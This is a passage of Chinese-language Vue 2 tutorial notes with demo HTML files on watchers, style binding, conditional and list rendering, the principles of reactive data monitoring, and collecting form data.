				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather() {
				this.isHot = !this.isHot
			}
		},
		watch: {
			//正常写法
			isHot:{
				// immediate:true, //初始化时让handler调用一下
				// deep:true,//深度监视
				handler(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue)
				}
			},
			//简写, 注意:如果isHot对象中只有handler方法,没有其他属性(例如immediate、deep属性),才可以简写
			/* isHot(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue,this)
			} */
		}
	})

		//正常写法
	/* vm.$watch('isHot',{
		immediate:true, //初始化时让handler调用一下
		deep:true,//深度监视
		handler(newValue,oldValue){
			console.log('isHot被修改了',newValue,oldValue)
		}
	}) */

		//简写
	/* vm.$watch('isHot',function(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue,this)
	}) */

</script>

</html>

知识点14:监视属性watch的实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_watch实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
computed和watch之间的区别:
	1.computed能完成的功能,watch都可以完成。
	2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
	1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
	2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
		这样this的指向才是vm 或 组件实例对象。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}
		})
	</script>
</html>

10_绑定样式

知识点15:绑定样式

	<!-- 
绑定样式:
	1. class样式
		写法:class="xxx" xxx可以是字符串、对象、数组。
			字符串写法适用于:类名不确定,要动态获取。
			数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。
			对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
	2. style样式
			:style="{fontSize: xxx}"其中xxx是动态值。
			:style="[a,b]"其中a、b是样式对象。
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>绑定样式</title>
	<style>
		.basic {
			width: 400px;
			height: 100px;
			border: 1px solid black;
		}

		.happy {
			border: 4px solid red;
			;
			background-color: rgba(255, 255, 0, 0.644);
			background: linear-gradient(30deg, yellow, pink, orange, yellow);
		}

		.sad {
			border: 4px dashed rgb(2, 197, 2);
			background-color: gray;
		}

		.normal {
			background-color: skyblue;
		}

		.atguigu1 {
			background-color: yellowgreen;
		}

		.atguigu2 {
			font-size: 30px;
			text-shadow: 2px 2px 10px red;
		}

		.atguigu3 {
			border-radius: 20px;
		}
	</style>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
			绑定样式:
					1. class样式
								写法:class="xxx" xxx可以是字符串、对象、数组。
										字符串写法适用于:类名不确定,要动态获取。
										数组写法适用于:要绑定多个样式,个数不确定,名字也不确定,因为数组可以动态删除(shift)或添加(push)新的元素。
										对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
					2. style样式
								:style="{fontSize: xxx}"其中xxx是动态值。
								:style="[a,b]"其中a、b是样式对象。
		-->
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
		<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />

		<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
		<div class="basic" :class="classArr">{{name}}</div> <br /><br />

		<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
		<div class="basic" :class="classObj">{{name}}</div> <br /><br />

		<!-- 绑定style样式--对象写法 -->
		<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
		<!-- 绑定style样式--数组写法 -->
		<div class="basic" :style="styleArr">{{name}}</div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			mood: 'normal',
			classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
			classObj: {
				atguigu1: true, //值为true时,可以展示该属性,也就是说class="atguigu1"
				atguigu2: false,//值为true时,不可以展示该属性,也就是说class属性中没有该属性
			},
			styleObj: {
				fontSize: '40px',
				color: 'red',
			},
			styleObj2: {
				backgroundColor: 'orange'
			},
			styleArr: [
				{
					fontSize: '40px',
					color: 'blue',
				},
				{
					backgroundColor: 'gray'
				}
			]
		},
		methods: {
			changeMood() {
				const arr = ['happy', 'sad', 'normal']
				const index = Math.floor(Math.random() * 3)
				this.mood = arr[index]
			}
		},
	})
</script>

</html>

11_条件渲染

知识点16:条件渲染

<!-- 
条件渲染:
	1.v-if
		写法:
		(1).v-if="表达式" 
		(2).v-else-if="表达式"
		(3).v-else="表达式"
		适用于:切换频率较低的场景。
		特点:不展示的DOM元素直接被移除。
		注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”,
		例如:
		
		<div v-else-if="n === 2">React</div>
		<Input type="text" value=""></Input>
		<div v-else-if="n === 3">Vue</div>。

	2.v-show
		写法:v-show="表达式"
		适用于:切换频率较高的场景。
		特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
		
	3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
条件渲染:
	1.v-if
		写法:
		(1).v-if="表达式" 
		(2).v-else-if="表达式"
		(3).v-else="表达式"
		适用于:切换频率较低的场景。
		特点:不展示的DOM元素直接被移除。
		注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”,
		例如:
		
		<div v-else-if="n === 2">React</div>
		<Input type="text" value=""></Input>
		<div v-else-if="n === 3">Vue</div>。

	2.v-show
		写法:v-show="表达式"
		适用于:切换频率较高的场景。
		特点:不展示的DOM元素没有被移除,仅仅是使用样式隐藏掉
		
	3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

		<!-- v-if与template的配合使用,经过vue引擎解释后,最终展示在页面的只有template里面的内容,template标签没有了 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:0
			}
		})
	</script>
</html>

12_列表渲染

1.基本列表

<!-- 
v-for指令:
    1.用于展示列表数据
    2.语法:v-for="(item, index) in xxx" :key="yyy",注意:在循环遍历中,v-bind:key一般不省略,如果人为省略,vue框架默认会帮你添加:v-bind:key=index,其中index为遍历的索引值
    3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-->
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>基本列表</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
v-for指令:
    1.用于展示列表数据
    2.语法:v-for="(item, index) in xxx" :key="yyy"
    3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-->
<!-- 准备好一个容器-->
    <div id="root">
        <!-- 遍历数组 -->
        <h2>人员列表(遍历数组)</h2>
        <ul>
            <li v-for="(p,index) of persons" :key="index">
                {{p.name}}-{{p.age}}
            </li>
        </ul>

        <!-- 遍历对象 -->
        <h2>汽车信息(遍历对象)</h2>
        <ul>
            <li v-for="(value,k) of car" :key="k">
                {{k}}-{{value}}
            </li>
        </ul>

        <!-- 遍历字符串 -->
        <h2>测试遍历字符串(用得少)</h2>
        <ul>
            <li v-for="(char,index) of str" :key="index">
                {{char}}-{{index}}
            </li>
        </ul>

        <!-- 遍历指定次数 -->
        <h2>测试遍历指定次数(用得少)</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
                {{index}}-{{number}}
            </li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                persons: [
                    { id: '001', name: '张三', age: 18 },
                    { id: '002', name: '李四', age: 19 },
                    { id: '003', name: '王五', age: 20 }
                ],
                car: {
                    name: '奥迪A8',
                    price: '70万',
                    color: '黑色'
                },
                str: 'hello'
            }
        })
    </script>

</html>

2.key的原理

<!-- 
面试题:react、vue中的key有什么作用?(key的内部原理)
		
	1. 虚拟DOM中key的作用:
		key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
		随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
					
	2.对比规则:
		(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
			①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
			②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

		(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
			创建新的真实DOM,随后渲染到到页面。
							
	3. 用index作为key可能会引发的问题:
		1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
						会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

		2. 如果结构中还包含输入类的DOM:
							会产生错误DOM更新 ==> 界面有问题。

	4. 开发中如何选择key?:
		1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
		2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
			使用index作为key是没有问题的。
-->

image-20210923000128720

image-20210923000211039

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
面试题:react、vue中的key有什么作用?(key的内部原理)
		
	1. 虚拟DOM中key的作用:
		key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
		随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
					
	2.对比规则:
		(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
			①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
			②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

		(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
			创建新的真实DOM,随后渲染到到页面。
							
	3. 用index作为key可能会引发的问题:
		1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

		2. 如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题。

	4. 开发中如何选择key?:
		1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
		2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表,使用index作为key是没有问题的。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>
</html>

3.列表过滤.html

<!--	
     //filter()方法会创建一个新数组,原数组的每个元素传入回调函数中,
	//回调函数中有return返回值,若返回值为true,这个元素保存到新数组中;
	//若返回值为false,则该元素不保存到新数组中;原数组不发生改变。
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>列表过滤</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2>
		<input type="text" placeholder="请输入名字" v-model="keyWord">
		<ul>
			<li v-for="(p,index) of filPerons" :key="index">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//用watch实现
		//#region 
		/* new Vue({
			el:'#root',
			data:{
				keyWord:'',
				persons:[
					{id:'001',name:'马冬梅',age:19,sex:'女'},
					{id:'002',name:'周冬雨',age:20,sex:'女'},
					{id:'003',name:'周杰伦',age:21,sex:'男'},
					{id:'004',name:'温兆伦',age:22,sex:'男'}
				],
				filPerons:[]
			},
			watch:{
				keyWord:{
					immediate:true,
					handler(val){
	//filter()方法会创建一个新数组,原数组的每个元素传入回调函数中,
	//回调函数中有return返回值,若返回值为true,这个元素保存到新数组中;
	//若返回值为false,则该元素不保存到新数组中;原数组不发生改变。
						this.filPerons = this.persons.filter((p)=>{
							return p.name.indexOf(val) !== -1
						})
					}
				}
			}
		}) */
		//#endregion

		//用computed实现
		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				persons: [
					{ id: '001', name: '马冬梅', age: 19, sex: '女' },
					{ id: '002', name: '周冬雨', age: 20, sex: '女' },
					{ id: '003', name: '周杰伦', age: 21, sex: '男' },
					{ id: '004', name: '温兆伦', age: 22, sex: '男' }
				]
			},
			computed: {
				filPerons() {
					return this.persons.filter((p) => {
						return p.name.indexOf(this.keyWord) !== -1
					})
				}
			}
		})
	</script>

</html>

4.列表排序.html

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>列表排序</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2>
		<input type="text" placeholder="请输入名字" v-model="keyWord">
		<button @click="sortType = 2">年龄升序</button>
		<button @click="sortType = 1">年龄降序</button>
		<button @click="sortType = 0">原顺序</button>
		<ul>
			<li v-for="(p,index) of filPerons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
				<input type="text">
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				sortType: 0, //0原顺序 1降序 2升序
				persons: [
					{ id: '001', name: '马冬梅', age: 30, sex: '女' },
					{ id: '002', name: '周冬雨', age: 31, sex: '女' },
					{ id: '003', name: '周杰伦', age: 18, sex: '男' },
					{ id: '004', name: '温兆伦', age: 19, sex: '男' }
				]
			},
			computed: {
				filPerons() {
					const arr = this.persons.filter((p) => {
						return p.name.indexOf(this.keyWord) !== -1
					})
					//判断一下是否需要排序
					if (this.sortType) {  //非0为true
						arr.sort((p1, p2) => {
							return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
						})
					}
					return arr
				}
			}
		})

	</script>

</html>

5.更新时的一个问题.html

<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<div id="root">
		<h2>人员列表</h2>
		<button v-on:click="updateMei">更新马冬梅的信息</button>
		<ul>
			<!-- key属性最好绑定唯一值,例如id -->
			<li v-for="(p,index) of persons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

</body>
<script type="text/javascript">
	var vm = new Vue({
		el: "#root",
		data: {
			persons: [
				{ id: '001', name: '马冬梅', age: 30, sex: '女' },
				{ id: '002', name: '周冬雨', age: 31, sex: '女' },
				{ id: '003', name: '周杰伦', age: 18, sex: '男' },
				{ id: '004', name: '温兆伦', age: 19, sex: '男' }
			]
		},
		methods: {
			updateMei() {
				// this.persons[0].name='马老师',
				// this.persons[0].age=33,
				// this.persons[0].sex='男'	
                
                //Vue监视的是数组这个对象,并没有监视数组里面的元素
				// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
           
                //Vue修改数组中的某个元素一定要用如下方法:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
                this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});
			}
		}
	})
</script>

</html>

6.Vue监测数据改变的原理_对象.html

image-20210925161711887

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>Vue监测数据改变的原理</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			address: '北京',
			student: {
				name: 'tom',
				age: {
					rAge: 40,
					sAge: 29,
				},
				friends: [
					{ name: 'jerry', age: 35 }
				]
			}
		}
	})
</script>

</html>
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>Document</title>
</head>

<body>
	<script type="text/javascript">

		let data = {
			name: '尚硅谷',
			address: '北京',
		}

		//创建一个监视的实例对象,用于监视data中属性的变化,data中的数据一改变,马上调用Observer构造器
		const obs = new Observer(data)
		console.log(obs)

		//准备一个vm实例对象
		let vm = {}
		vm._data = data = obs

		function Observer(obj) {    //构造函数,类似java中的构造方法
			//汇总对象中所有的属性形成一个数组
			const keys = Object.keys(obj)
			//遍历
			keys.forEach((k) => {
				console.log("this:"+this);
				console.log("K:"+k)
				Object.defineProperty(this, k, {
					get() {
						return obj[k]
					},
					set(val) {
						console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
						obj[k] = val
					}
				})
			})
		}
	</script>
</body>

</html>

5.更新时的一个问题.html

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>Document</title>
</head>

<body>
	<script type="text/javascript">

		let data = {
			name: '尚硅谷',
			address: '北京',
		}

		//创建一个监视的实例对象,用于监视data中属性的变化
		const obs = new Observer(data)
		console.log(obs)

		//准备一个vm实例对象
		let vm = {}
		vm._data = data = obs

		function Observer(obj) {    //构造函数,类似java中的构造方法
			//汇总对象中所有的属性形成一个数组
			const keys = Object.keys(obj)
			//遍历
			keys.forEach((k) => {
				console.log("this:"+this);
				console.log("K:"+k)
				Object.defineProperty(this, k, {
					get() {
						return obj[k]
					},
					set(val) {
						console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
						obj[k] = val
					}
				})
			})
		}




	</script>
</body>

</html>

7.模拟一个数据监测.

监测原理

image-20210925161711887

image-20210925174750804

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>Document</title>
</head>

<body>
	<script type="text/javascript">

		let data = {
			name: '尚硅谷',
			address: '北京',
		}

		//创建一个监视的实例对象,用于监视data中属性的变化
		const obs = new Observer(data)
		console.log(obs)

		//准备一个vm实例对象
		let vm = {}
		vm._data = data = obs

		function Observer(obj) {    //构造函数,类似java中的构造方法
			//汇总对象中所有的属性形成一个数组
			const keys = Object.keys(obj)  //参数obj是一个对象
			//遍历
			keys.forEach((k) => {
				console.log("this:"+this);
				console.log("K:"+k)
				Object.defineProperty(this, k, {
					get() {
						return obj[k]  //
					},
					set(val) {
						console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
						obj[k] = val
					}
				})
			})
		}

	</script>
</body>

</html>

8.Vue.set的使用.html

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>Vue监测数据改变的原理</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h1>学校信息</h1>
		<h2>学校名称:{{school.name}}</h2>
		<h2>学校地址:{{school.address}}</h2>
		<h2>校长是:{{school.leader}}</h2>
		<hr />
		<h1>学生信息</h1>
		<button @click="addSex">添加一个性别属性,默认值是男</button>
		<h2>姓名:{{student.name}}</h2>
		<h2 v-if="student.sex">性别:{{student.sex}}</h2>
		<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
		<h2>朋友们</h2>
		<ul>
			<li v-for="(f,index) in student.friends" :key="index">
				{{f.name}}--{{f.age}}
			</li>
		</ul>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			school: {
				name: '尚硅谷',
				address: '北京',
			},
			student: {
				name: 'tom',
				age: {
					rAge: 40,
					sAge: 29,
				},
				friends: [
					{ name: 'jerry', age: 35 },
					{ name: 'tony', age: 36 }
				]
			}
		},
		methods: {
			addSex() {
				Vue.set(this.student, 'sex', '男')
				// this.$set(this.student,'sex','男')
			}
		}
	})
</script>

</html>

9.Vue监测数据改变的原理_数组.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

10.总结Vue数据监测.html

<!--
数据劫持:每个数据经过数据代理的过程就是数据劫持
Vue监视数据的原理:
	1. vue会监视data中所有层次的数据。

	2. 如何监测对象中的数据?
		通过setter实现监视,且要在new Vue时就传入要监测的数据。
			(1).对象中后追加的属性,Vue默认不做响应式处理
			(2).如需给后添加的属性做响应式,请使用如下API:
				Vue.set(target,propertyName/index,value) 或 
				vm.$set(target,propertyName/index,value)

	3. 如何监测数组中的数据?
		通过包裹数组更新元素的方法实现,本质就是做了两件事:
			(1).调用原生对应的方法对数组进行更新。
			(2).重新解析模板,进而更新页面。

	4.在Vue修改数组中的某个元素一定要用如下方法:
		1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
		2.Vue.set() 或 vm.$set()
	
	特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
-->
监测数组原理图1:

image-20210925204645838

监测数组原理图2

image-20210925204933668

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>总结数据监视</title>
	<style>
		button {
			margin-top: 10px;
		}
	</style>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!--
Vue监视数据的原理:
	1. vue会监视data中所有层次的数据。

	2. 如何监测对象中的数据?
		通过setter实现监视,且要在new Vue时就传入要监测的数据。
			(1).对象中后追加的属性,Vue默认不做响应式处理
			(2).如需给后添加的属性做响应式,请使用如下API:
				Vue.set(target,propertyName/index,value) 或 
				vm.$set(target,propertyName/index,value)

	3. 如何监测数组中的数据?
		通过包裹数组更新元素的方法实现,本质就是做了两件事:
			(1).调用原生对应的方法对数组进行更新。
			(2).重新解析模板,进而更新页面。

	4.在Vue修改数组中的某个元素一定要用如下方法:
		1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
		2.Vue.set() 或 vm.$set()
	
	特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h1>学生信息</h1>
		<button @click="student.age++">年龄+1岁</button> <br />
		<button @click="addSex">添加性别属性,默认值:男</button> <br />
		<button @click="student.sex = '未知' ">修改性别</button> <br />
		<button @click="addFriend">在列表首位添加一个朋友</button> <br />
		<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />
		<button @click="addHobby">添加一个爱好</button> <br />
		<button @click="updateHobby">修改第一个爱好为:开车</button> <br />
		<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
		<h3>姓名:{{student.name}}</h3>
		<h3>年龄:{{student.age}}</h3>
		<h3 v-if="student.sex">性别:{{student.sex}}</h3>
		<h3>爱好:</h3>
		<ul>
			<li v-for="(h,index) in student.hobby" :key="index">
				{{h}}
			</li>
		</ul>
		<h3>朋友们:</h3>
		<ul>
			<li v-for="(f,index) in student.friends" :key="index">
				{{f.name}}--{{f.age}}
			</li>
		</ul>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			student: {
				name: 'tom',
				age: 18,
				hobby: ['抽烟', '喝酒', '烫头'],
				friends: [
					{ name: 'jerry', age: 35 },
					{ name: 'tony', age: 36 }
				]
			}
		},
		methods: {
			addSex() {
				// Vue.set(this.student,'sex','男')
				this.$set(this.student, 'sex', '男')
			},
			addFriend() {
				this.student.friends.unshift({ name: 'jack', age: 70 })
			},
			updateFirstFriendName() {
				this.student.friends[0].name = '张三'
			},
			addHobby() {
				this.student.hobby.push('学习')
			},
			updateHobby() {
				// this.student.hobby.splice(0,1,'开车')
				// Vue.set(this.student.hobby,0,'开车')
				this.$set(this.student.hobby, 0, '开车')
			},
			removeSmoke() {
				this.student.hobby = this.student.hobby.filter((h) => {
					return h !== '抽烟'
				})
			}
		}
	})
</script>

</html>

13_收集表单数据

收集表单数据.html

<!-- 
收集表单数据:
	若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
	若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
	若:<input type="checkbox"/>
		1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
		2.配置input的value属性:
			(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
			(2)v-model的初始值是数组,那么收集的的就是value组成的数组
	备注:v-model的三个修饰符:
		lazy:失去焦点再收集数据
		number:输入字符串转为有效的数字
		trim:输入首尾空格过滤
	-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>收集表单数据</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
收集表单数据:
	若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
	若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
	若:<input type="checkbox"/>
		1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
		2.配置input的value属性:
			(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
			(2)v-model的初始值是数组,那么收集的的就是value组成的数组
	备注:v-model的三个修饰符:
		lazy:失去焦点再收集数据
		number:输入字符串转为有效的数字
		trim:输入首尾空格过滤
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<form @submit.prevent="demo">
			账号:<input type="text" v-model.trim="userInfo.account"> <br /><br />
			密码:<input type="password" v-model="userInfo.password"> <br /><br />
			年龄:<input type="number" v-model.number="userInfo.age"> <br /><br />
			性别:
			男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
			女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />
			爱好:
			学习<input type="checkbox" v-model="userInfo.hobby" value="study">
			打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
			吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
			<br /><br />
			所属校区
			<select v-model="userInfo.city">
				<option value="">请选择校区</option>
				<option value="beijing">北京</option>
				<option value="shanghai">上海</option>
				<option value="shenzhen">深圳</option>
				<option value="wuhan">武汉</option>
			</select>
			<br /><br />
			其他信息:
			<textarea v-model.lazy="userInfo.other"></textarea> <br /><br />
			<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
			<button>提交</button>
